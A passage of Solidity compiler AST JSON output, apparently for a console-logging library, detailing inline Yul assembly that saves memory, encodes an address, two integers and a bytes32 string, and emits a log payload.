Identifier","src":"126863:6:22"},{"kind":"number","nativeSrc":"126871:4:22","nodeType":"YulLiteral","src":"126871:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"126860:2:22","nodeType":"YulIdentifier","src":"126860:2:22"},"nativeSrc":"126860:16:22","nodeType":"YulFunctionCall","src":"126860:16:22"},"nativeSrc":"126853:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"126877:28:22","nodeType":"YulBlock","src":"126877:28:22","statements":[{"nativeSrc":"126879:24:22","nodeType":"YulAssignment","src":"126879:24:22","value":{"arguments":[{"name":"length","nativeSrc":"126893:6:22","nodeType":"YulIdentifier","src":"126893:6:22"},{"kind":"number","nativeSrc":"126901:1:22","nodeType":"YulLiteral","src":"126901:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"126889:3:22","nodeType":"YulIdentifier","src":"126889:3:22"},"nativeSrc":"126889:14:22","nodeType":"YulFunctionCall","src":"126889:14:22"},"variableNames":[{"name":"length","nativeSrc":"126879:6:22","nodeType":"YulIdentifier","src":"126879:6:22"}]}]},"pre":{"nativeSrc":"126857:2:22","nodeType":"YulBlock","src":"126857:2:22","statements":[]},"src":"126853:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"126970:3:22","nodeType":"YulIdentifier","src":"126970:3:22"},{"name":"length","nativeSrc":"126975:6:22","nodeType":"YulIdentifier","src":"126975:6:22"}],"functionName":{"name":"mstore","nativeSrc":"126963:6:22","nodeType":"YulIdentifier","src":"126963:6:22"},"nativeSrc":"126963:19:22","nodeType":"YulFunctionCall","src":"126963:19:22"},"nativeSrc":"126963:19:22","nodeType":"YulExpressionStatement","src":"126963:19:22"},{"nativeSrc":"126999:37:22","nodeType":"YulVariableDeclaration","src":"126999:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"127016:3:22","nodeType":"YulLiteral","src":"127016:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"127025:1:22","nodeType":"YulLiteral","src":"127025:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"127028:6:22","nodeType":"YulIdentifier","src":"127028:6:22"}],"functionName":{"name":"shl","nativeSrc":"127021:3:22","nodeType":"YulIdentifier","src":"127021:3:22"},"nativeSrc":"127021:14:22","nodeType":"YulFunctionCall","src":"127021:14:22"}],"functionName":{"name":"sub","nativeSrc":"127012:3:22","nodeType":"YulIdentifier","src":"127012:3:22"},"nativeSrc":"127012:24:22","nodeType":"YulFunctionCall","src":"127012:24:22"},"variables":[{"name":"shift","nativeSrc":"127003:5:22","nodeType":"YulTypedName","src":"127003:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"127064:3:22","nodeType":"YulIdentifier","src":"127064:3:22"},{"kind":"number","nativeSrc":"127069:4:22","nodeType":"YulLiteral","src":"127069:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"127060:3:22","nodeType":"YulIdentifier","src":"127060:3:22"},"nativeSrc":"127060:14:22","nodeType":"YulFunctionCall","src":"127060:14:22"},{"arguments":[{"name":"shift","nativeSrc":"127080:5:22","nodeType":"YulIdentifier","src":"127080:5:22"},{"arguments":[{"name":"shift","nativeSrc":"127091:5:22","nodeType":"YulIdentifier","src":"127091:5:22"},{"name":"w","nativeSrc":"127098:1:22","nodeType":"YulIdentifier","src":"127098:1:22"}],"functionName":{"name":"shr","nativeSrc":"127087:3:22","nodeType":"YulIdentifier","src":"127087:3:22"},"nativeSrc":"127087:13:22","nodeType":"YulFunctionCall","src":"127087:13:22"}],"functionName":{"name":"shl","nativeSrc":"127076:3:22","nodeType":"YulIdentifier","src":"127076:3:22"},"nativeSrc":"127076:25:22","nodeType":"YulFunctionCall","src":"127076:25:22"}],"functionName":{"name":"mstore","nativeSrc":"127053:6:22","nodeType":"YulIdentifier","src":"127053:6:22"},"nativeSrc":"127053:49:22","nodeType":"YulFunctionCall","src":"127053:49:22"},"nativeSrc":"127053:49:22","nodeType":"YulExpressionStatement","src":"127053:49:22"}]},"name":"writeString","nativeSrc":"126774:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"126795:3:22","nodeType":"YulTypedName","src":"126795:3:22","type":""},{"name":"w","nativeSrc":"126800:1:22","nodeType":"YulTypedName","src":"126800:1:22","type":""}],"src":"126774:342:22"},{"nativeSrc":"127129:17:22","nodeType":"YulAssignment","src":"127129:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"127141:4:22","nodeType":"YulLiteral","src":"127141:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"127135:5:22","nodeType":"YulIdentifier","src":"127135:5:22"},"nativeSrc":"127135:11:22","nodeType":"YulFunctionCall","src":"127135:11:22"},"variableNames":[{"name":"m0","nativeSrc":"127129:2:22","nodeType":"YulIdentifier","src":"127129:2:22"}]},{"nativeSrc":"127159:17:22","nodeType":"YulAssignment","src":"127159:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"127171:4:22","nodeType":"YulLiteral","src":"127171:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"127165:5:22","nodeType":"YulIdentifier","src":"127165:5:22"},"nativeSrc":"127165:11:22","nodeType":"YulFunctionCall","src":"127165:11:22"},"variableNames":[{"name":"m1","nativeSrc":"127159:2:22","nodeType":"YulIdentifier","src":"127159:2:22"}]},{"nativeSrc":"127189:17:22","nodeType":"YulAssignment","src":"127189:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"127201:4:22","nodeType":"YulLiteral","src":"127201:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"127195:5:22","nodeType":"YulIdentifier","src":"127195:5:22"},"nativeSrc":"127195:11:22","nodeType":"YulFunctionCall","src":"127195:11:22"},"variableNames":[{"name":"m2","nativeSrc":"127189:2:22","nodeType":"YulIdentifier","src":"127189:2:22"}]},{"nativeSrc":"127219:17:22","nodeType":"YulAssignment","src":"127219:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"127231:4:22","nodeType":"YulLiteral","src":"127231:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"127225:5:22","nodeType":"YulIdentifier","src":"127225:5:22"},"nativeSrc":"127225:11:22","nodeType":"YulFunctionCall","src":"127225:11:22"},"variableNames":[{"name":"m3","nativeSrc":"127219:2:22","nodeType":"YulIdentifier","src":"127219:2:22"}]},{"nativeSrc":"127249:17:22","nodeType":"YulAssignment","src":"127249:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"127261:4:22","nodeType":"YulLiteral","src":"127261:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"127255:5:22","nodeType":"YulIdentifier","src":"127255:5:22"},"nativeSrc":"127255:11:22","nodeType":"YulFunctionCall","src":"127255:11:22"},"variableNames":[{"name":"m4","nativeSrc":"127249:2:22","nodeType":"YulIdentifier","src":"127249:2:22"}]},{"nativeSrc":"127279:17:22","nodeType":"YulAssignment","src":"127279:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"127291:4:22","nodeType":"YulLiteral","src":"127291:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"127285:5:22","nodeType":"YulIdentifier","src":"127285:5:22"},"nativeSrc":"127285:11:22","nodeType":"YulFunctionCall","src":"127285:11:22"},"variableNames":[{"name":"m5","nativeSrc":"127279:2:22","nodeType":"YulIdentifier","src":"127279:2:22"}]},{"nativeSrc":"127309:17:22","nodeType":"YulAssignment","src":"127309:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"127321:4:22","nodeType":"YulLiteral","src":"127321:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"127315:5:22","nodeType":"YulIdentifier","src":"127315:5:22"},"nativeSrc":"127315:11:22","nodeType":"YulFunctionCall","src":"127315:11:22"},"variableNames":[{"name":"m6","nativeSrc":"127309:2:22","nodeType":"YulIdentifier","src":"127309:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"127412:4:22","nodeType":"YulLiteral","src":"127412:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"127418:10:22","nodeType":"YulLiteral","src":"127418:10:22","type":"","value":"0x4a28c017"}],"functionName":{"name":"mstore","nativeSrc":"127405:6:22","nodeType":"YulIdentifier","src":"127405:6:22"},"nativeSrc":"127405:24:22","nodeType":"YulFunctionCall","src":"127405:24:22"},"nativeSrc":"127405:24:22","nodeType":"YulExpressionStatement","src":"127405:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"127449:4:22","nodeType":"YulLiteral","src":"127449:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"127455:2:22","nodeType":"YulIdentifier","src":"127455:2:22"}],"functionName":{"name":"mstore","nativeSrc":"127442:6:22","nodeType":"YulIdentifier","src":"127442:6:22"},"nativeSrc":"127442:16:22","nodeType":"YulFunctionCall","src":"127442:16:22"},"nativeSrc":"127442:16:22","nodeType":"YulExpressionStatement","src":"127442:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"127478:4:22","nodeType":"YulLiteral","src":"127478:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"127484:2:22","nodeType":"YulIdentifier","src":"127484:2:22"}],"functionName":{"name":"mstore","nativeSrc":"127471:6:22","nodeType":"YulIdentifier","src":"127471:6:22"},"nativeSrc":"127471:16:22","nodeType":"YulFunctionCall","src":"127471:16:22"},"nativeSrc":"127471:16:22","nodeType":"YulExpressionStatement","src":"127471:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"127507:4:22","nodeType":"YulLiteral","src":"127507:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"127513:2:22","nodeType":"YulIdentifier","src":"127513:2:22"}],"functionName":{"name":"mstore","nativeSrc":"127500:6:22","nodeType":"YulIdentifier","src":"127500:6:22"},"nativeSrc":"127500:16:22","nodeType":"YulFunctionCall","src":"127500:16:22"},"nativeSrc":"127500:16:22","nodeType":"YulExpressionStatement","src":"127500:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"127536:4:22","nodeType":"YulLiteral","src":"127536:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"127542:4:22","nodeType":"YulLiteral","src":"127542:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"127529:6:22","nodeType":"YulIdentifier","src":"127529:6:22"},"nativeSrc":"127529:18:22","nodeType":"YulFunctionCall","src":"127529:18:22"},"nativeSrc":"127529:18:22","nodeType":"YulExpressionStatement","src":"127529:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"127572:4:22","nodeType":"YulLiteral","src":"127572:4:22","type":"","value":"0xa0"},{"name":"p3","nativeSrc":"127578:2:22","nodeType":"YulIdentifier","src":"127578:2:22"}],"functionName":{"name":"writeString","nativeSrc":"127560:11:22","nodeType":"YulIdentifier","src":"127560:11:22"},"nativeSrc":"127560:21:22","nodeType":"YulFunctionCall","src":"127560:21:22"},"nativeSrc":"127560:21:22","nodeType":"YulExpressionStatement","src":"127560:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":37928,"isOffset":false,"isSlot":false,"src":"127129:2:22","valueSize":1},{"declaration":37931,"isOffset":false,"isSlot":false,"src":"127159:2:22","valueSize":1},{"declaration":37934,"isOffset":false,"isSlot":false,"src":"127189:2:22","valueSize":1},{"declaration":37937,"isOffset":false,"isSlot":false,"src":"127219:2:22","valueSize":1},{"declaration":37940,"isOffset":false,"isSlot":false,"src":"127249:2:22","valueSize":1},{"declaration":37943,"isOffset":false,"isSlot":false,"src":"127279:2:22","valueSize":1},{"declaration":37946,"isOffset":false,"isSlot":false,"src":"127309:2:22","valueSize":1},{"declaration":37918,"isOffset":false,"isSlot":false,"src":"127455:2:22","valueSize":1},{"declaration":37920,"isOffset":false,"isSlot":false,"src":"127484:2:22","valueSize":1},{"declaration":37922,"isOffset":false,"isSlot":false,"src":"127513:2:22","valueSize":1},{"declaration":37924,"isOffset":false,"isSlot":false,"src":"127578:2:22","valueSize":1}],"id":37948,"nodeType":"InlineAssembly","src":"126751:840:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":37950,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"127616:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":37951,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"127622:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":37949,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"127600:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":37952,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"127600:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":37953,"nodeType":"ExpressionStatement","src":"127600:27:22"},{"AST":{"nativeSrc":"127646:214:22","nodeType":"YulBlock","src":"127646:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"127667:4:22","nodeType":"YulLiteral","src":"127667:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"127673:2:22","nodeType":"YulIdentifier","src":"127673:2:22"}],"functionName":{"name":"mstore","nativeSrc":"127660:6:22","nodeType":"YulIdentifier","src":"127660:6:22"},"nativeSrc":"127660:16:22","nodeType":"YulFunctionCall","src":"127660:16:22"},"nativeSrc":"127660:16:22","nodeType":"YulExpressionStatement","src":"127660:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"127696:4:22","nodeType":"YulLiteral","src":"127696:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"127702:2:22","nodeType":"YulIdentifier","src":"127702:2:22"}],"functionName":{"name":"mstore","nativeSrc":"127689:6:22","nodeType":"YulIdentifier","src":"127689:6:22"},"nativeSrc":"127689:16:22","nodeType":"YulFunctionCall","src":"127689:16:22"},"nativeSrc":"127689:16:22","nodeType":"YulExpressionStatement","src":"127689:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"127725:4:22","nodeType":"YulLiteral","src":"127725:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"127731:2:22","nodeType":"YulIdentifier","src":"127731:2:22"}],"functionName":{"name":"mstore","nativeSrc":"127718:6:22","nodeType":"YulIdentifier","src":"127718:6:22"},"nativeSrc":"127718:16:22","nodeType":"YulFunctionCall","src":"127718:16:22"},"nativeSrc":"127718:16:22","nodeType":"YulExpressionStatement","src":"127718:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"127754:4:22","nodeType":"YulLiteral","src":"127754:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"127760:2:22","nodeType":"YulIdentifier","src":"127760:2:22"}],"functionName":{"name":"mstore","nativeSrc":"127747:6:22","nodeType":"YulIdentifier","src":"127747:6:22"},"nativeSrc":"127747:16:22","nodeType":"YulFunctionCall","src":"127747:16:22"},"nativeSrc":"127747:16:22","nodeType":"YulExpressionStatement","src":"127747:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"127783:4:22","nodeType":"YulLiteral","src":"127783:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"127789:2:22","nodeType":"YulIdentifier","src":"127789:2:22"}],"functionName":{"name":"mstore","nativeSrc":"127776:6:22","nodeType":"YulIdentifier","src":"127776:6:22"},"nativeSrc":"127776:16:22","nodeType":"YulFunctionCall","src":"127776:16:22"},"nativeSrc":"127776:16:22","nodeType":"YulExpressionStatement","src":"127776:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"127812:4:22","nodeType":"YulLiteral","src":"127812:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"127818:2:22","nodeType":"YulIdentifier","src":"127818:2:22"}],"functionName":{"name":"mstore","nativeSrc":"127805:6:22","nodeType":"YulIdentifier","src":"127805:6:22"},"nativeSrc":"127805:16:22","nodeType":"YulFunctionCall","src":"127805:16:22"},"nativeSrc":"127805:16:22","nodeType":"YulExpressionStatement","src":"127805:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"127841:4:22","nodeType":"YulLiteral","src":"127841:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"127847:2:22","nodeType":"YulIdentifier","src":"127847:2:22"}],"functionName":{"name":"mstore","nativeSrc":"127834:6:22","nodeType":"YulIdentifier","src":"127834:6:22"},"nativeSrc":"127834:16:22","nodeType":"YulFunctionCall","src":"127834:16:22"},"nativeSrc":"127834:16:22","nodeType":"YulExpressionStatement","src":"127834:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":37928,"isOffset":false,"isSlot":false,"src":"127673:2:22","valueSize":1},{"declaration":37931,"isOffset":false,"isSlot":false,"src":"127702:2:22","valueSize":1},{"declaration":37934,"isOffset":false,"isSlot":false,"src":"127731:2:22","valueSize":1},{"declaration":37937,"isOffset":false,"isSlot":false,"src":"127760:2:22","valueSize":1},{"declaration":37940,"isOffset":false,"isSlot":false,"src":"127789:2:22","valueSize":1},{"declaration":37943,"isOffset":false,"isSlot":false,"src":"127818:2:22","valueSize":1},{"declaration":37946,"isOffset":false,"isSlot":false,"src":"127847:2:22","valueSize":1}],"id":37954,"nodeType":"InlineAssembly","src":"127637:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"126535:3:22","parameters":{"id":37925,"nodeType":"ParameterList","parameters":[{"constant":false,"id":37918,"mutability":"mutable","name":"p0","nameLocation":"126547:2:22","nodeType":"VariableDeclaration","scope":37956,"src":"126539:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":37917,"name":"address","nodeType":"ElementaryTypeName","src":"126539:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":37920,"mutability":"mutable","name":"p1","nameLocation":"126559:2:22","nodeType":"VariableDeclaration","scope":37956,"src":"126551:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":37919,"name":"uint256","nodeType":"ElementaryTypeName","src":"126551:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":37922,"mutability":"mutable","name":"p2","nameLocation":"126571:2:22","nodeType":"VariableDeclaration","scope":37956,"src":"126563:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":37921,"name":"uint256","nodeType":"ElementaryTypeName","src":"126563:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":37924,"mutability":"mutable","name":"p3","nameLocation":"126583:2:22","nodeType":"VariableDeclaration","scope":37956,"src":"126575:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37923,"name":"bytes32","nodeType":"ElementaryTypeName","src":"126575:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"126538:48:22"},"returnParameters":{"id":37926,"nodeType":"ParameterList","parameters":[],"src":"126601:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":37996,"nodeType":"FunctionDefinition","src":"127872:1340:22","nodes":[],"body":{"id":37995,"nodeType":"Block","src":"127947:1265:22","nodes":[],"statements":[{"assignments":[37968],"declarations":[{"constant":false,"id":37968,"mutability":"mutable","name":"m0","nameLocation":"127965:2:22","nodeType":"VariableDeclaration","scope":37995,"src":"127957:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37967,"name":"bytes32","nodeType":"ElementaryTypeName","src":"127957:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37969,"nodeType":"VariableDeclarationStatement","src":"127957:10:22"},{"assignments":[37971],"declarations":[{"constant":false,"id":37971,"mutability":"mutable","name":"m1","nameLocation":"127985:2:22","nodeType":"VariableDeclaration","scope":37995,"src":"127977:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37970,"name":"bytes32","nodeType":"ElementaryTypeName","src":"127977:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37972,"nodeType":"VariableDeclarationStatement","src":"127977:10:22"},{"assignments":[37974],"declarations":[{"constant":false,"id":37974,"mutability":"mutable","name":"m2","nameLocation":"128005:2:22","nodeType":"VariableDeclaration","scope":37995,"src":"127997:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37973,"name":"bytes32","nodeType":"ElementaryTypeName","src":"127997:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37975,"nodeType":"VariableDeclarationStatement","src":"127997:10:22"},{"assignments":[37977],"declarations":[{"constant":false,"id":37977,"mutability":"mutable","name":"m3","nameLocation":"128025:2:22","nodeType":"VariableDeclaration","scope":37995,"src":"128017:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37976,"name":"bytes32","nodeType":"ElementaryTypeName","src":"128017:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37978,"nodeType":"VariableDeclarationStatement","src":"128017:10:22"},{"assignments":[37980],"declarations":[{"constant":false,"id":37980,"mutability":"mutable","name":"m4","nameLocation":"128045:2:22","nodeType":"VariableDeclaration","scope":37995,"src":"128037:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37979,"name":"bytes32","nodeType":"ElementaryTypeName","src":"128037:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37981,"nodeType":"VariableDeclarationStatement","src":"128037:10:22"},{"assignments":[37983],"declarations":[{"constant":false,"id":37983,"mutability":"mutable","name":"m5","nameLocation":"128065:2:22","nodeType":"VariableDeclaration","scope":37995,"src":"128057:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37982,"name":"bytes32","nodeType":"ElementaryTypeName","src":"128057:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37984,"nodeType":"VariableDeclarationStatement","src":"128057:10:22"},{"assignments":[37986],"declarations":[{"constant":false,"id":37986,"mutability":"mutable","name":"m6","nameLocation":"128085:2:22","nodeType":"VariableDeclaration","scope":37995,"src":"128077:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37985,"name":"bytes32","nodeType":"ElementaryTypeName","src":"128077:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37987,"nodeType":"VariableDeclarationStatement","src":"128077:10:22"},{"AST":{"nativeSrc":"128106:831:22","nodeType":"YulBlock","src":"128106:831:22","statements":[{"body":{"nativeSrc":"128149:313:22","nodeType":"YulBlock","src":"128149:313:22","statements":[{"nativeSrc":"128167:15:22","nodeType":"YulVariableDeclaration","src":"128167:15:22","value":{"kind":"number","nativeSrc":"128181:1:22","nodeType":"YulLiteral","src":"128181:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"128171:6:22","nodeType":"YulTypedName","src":"128171:6:22","type":""}]},{"body":{"nativeSrc":"128252:40:22","nodeType":"YulBlock","src":"128252:40:22","statements":[{"body":{"nativeSrc":"128281:9:22","nodeType":"YulBlock","src":"128281:9:22","statements":[{"nativeSrc":"128283:5:22","nodeType":"YulBreak","src":"128283:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"128269:6:22","nodeType":"YulIdentifier","src":"128269:6:22"},{"name":"w","nativeSrc":"128277:1:22","nodeType":"YulIdentifier","src":"128277:1:22"}],"functionName":{"name":"byte","nativeSrc":"128264:4:22","nodeType":"YulIdentifier","src":"128264:4:22"},"nativeSrc":"128264:15:22","nodeType":"YulFunctionCall","src":"128264:15:22"}],"functionName":{"name":"iszero","nativeSrc":"128257:6:22","nodeType":"YulIdentifier","src":"128257:6:22"},"nativeSrc":"128257:23:22","nodeType":"YulFunctionCall","src":"128257:23:22"},"nativeSrc":"128254:36:22","nodeType":"YulIf","src":"128254:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"128209:6:22","nodeType":"YulIdentifier","src":"128209:6:22"},{"kind":"number","nativeSrc":"128217:4:22","nodeType":"YulLiteral","src":"128217:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"128206:2:22","nodeType":"YulIdentifier","src":"128206:2:22"},"nativeSrc":"128206:16:22","nodeType":"YulFunctionCall","src":"128206:16:22"},"nativeSrc":"128199:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"128223:28:22","nodeType":"YulBlock","src":"128223:28:22","statements":[{"nativeSrc":"128225:24:22","nodeType":"YulAssignment","src":"128225:24:22","value":{"arguments":[{"name":"length","nativeSrc":"128239:6:22","nodeType":"YulIdentifier","src":"128239:6:22"},{"kind":"number","nativeSrc":"128247:1:22","nodeType":"YulLiteral","src":"128247:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"128235:3:22","nodeType":"YulIdentifier","src":"128235:3:22"},"nativeSrc":"128235:14:22","nodeType":"YulFunctionCall","src":"128235:14:22"},"variableNames":[{"name":"length","nativeSrc":"128225:6:22","nodeType":"YulIdentifier","src":"128225:6:22"}]}]},"pre":{"nativeSrc":"128203:2:22","nodeType":"YulBlock","src":"128203:2:22","statements":[]},"src":"128199:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"128316:3:22","nodeType":"YulIdentifier","src":"128316:3:22"},{"name":"length","nativeSrc":"128321:6:22","nodeType":"YulIdentifier","src":"128321:6:22"}],"functionName":{"name":"mstore","nativeSrc":"128309:6:22","nodeType":"YulIdentifier","src":"128309:6:22"},"nativeSrc":"128309:19:22","nodeType":"YulFunctionCall","src":"128309:19:22"},"nativeSrc":"128309:19:22","nodeType":"YulExpressionStatement","src":"128309:19:22"},{"nativeSrc":"128345:37:22","nodeType":"YulVariableDeclaration","src":"128345:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"128362:3:22","nodeType":"YulLiteral","src":"128362:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"128371:1:22","nodeType":"YulLiteral","src":"128371:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"128374:6:22","nodeType":"YulIdentifier","src":"128374:6:22"}],"functionName":{"name":"shl","nativeSrc":"128367:3:22","nodeType":"YulIdentifier","src":"128367:3:22"},"nativeSrc":"128367:14:22","nodeType":"YulFunctionCall","src":"128367:14:22"}],"functionName":{"name":"sub","nativeSrc":"128358:3:22","nodeType":"YulIdentifier","src":"128358:3:22"},"nativeSrc":"128358:24:22","nodeType":"YulFunctionCall","src":"128358:24:22"},"variables":[{"name":"shift","nativeSrc":"128349:5:22","nodeType":"YulTypedName","src":"128349:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"128410:3:22","nodeType":"YulIdentifier","src":"128410:3:22"},{"kind":"number","nativeSrc":"128415:4:22","nodeType":"YulLiteral","src":"128415:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"128406:3:22","nodeType":"YulIdentifier","src":"128406:3:22"},"nativeSrc":"128406:14:22","nodeType":"YulFunctionCall","src":"128406:14:22"},{"arguments":[{"name":"shift","nativeSrc":"128426:5:22","nodeType":"YulIdentifier","src":"128426:5:22"},{"arguments":[{"name":"shift","nativeSrc":"128437:5:22","nodeType":"YulIdentifier","src":"128437:5:22"},{"name":"w","nativeSrc":"128444:1:22","nodeType":"YulIdentifier","src":"128444:1:22"}],"functionName":{"name":"shr","nativeSrc":"128433:3:22","nodeType":"YulIdentifier","src":"128433:3:22"},"nativeSrc":"128433:13:22","nodeType":"YulFunctionCall","src":"128433:13:22"}],"functionName":{"name":"shl","nativeSrc":"128422:3:22","nodeType":"YulIdentifier","src":"128422:3:22"},"nativeSrc":"128422:25:22","nodeType":"YulFunctionCall","src":"128422:25:22"}],"functionName":{"name":"mstore","nativeSrc":"128399:6:22","nodeType":"YulIdentifier","src":"128399:6:22"},"nativeSrc":"128399:49:22","nodeType":"YulFunctionCall","src":"128399:49:22"},"nativeSrc":"128399:49:22","nodeType":"YulExpressionStatement","src":"128399:49:22"}]},"name":"writeString","nativeSrc":"128120:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"128141:3:22","nodeType":"YulTypedName","src":"128141:3:22","type":""},{"name":"w","nativeSrc":"128146:1:22","nodeTy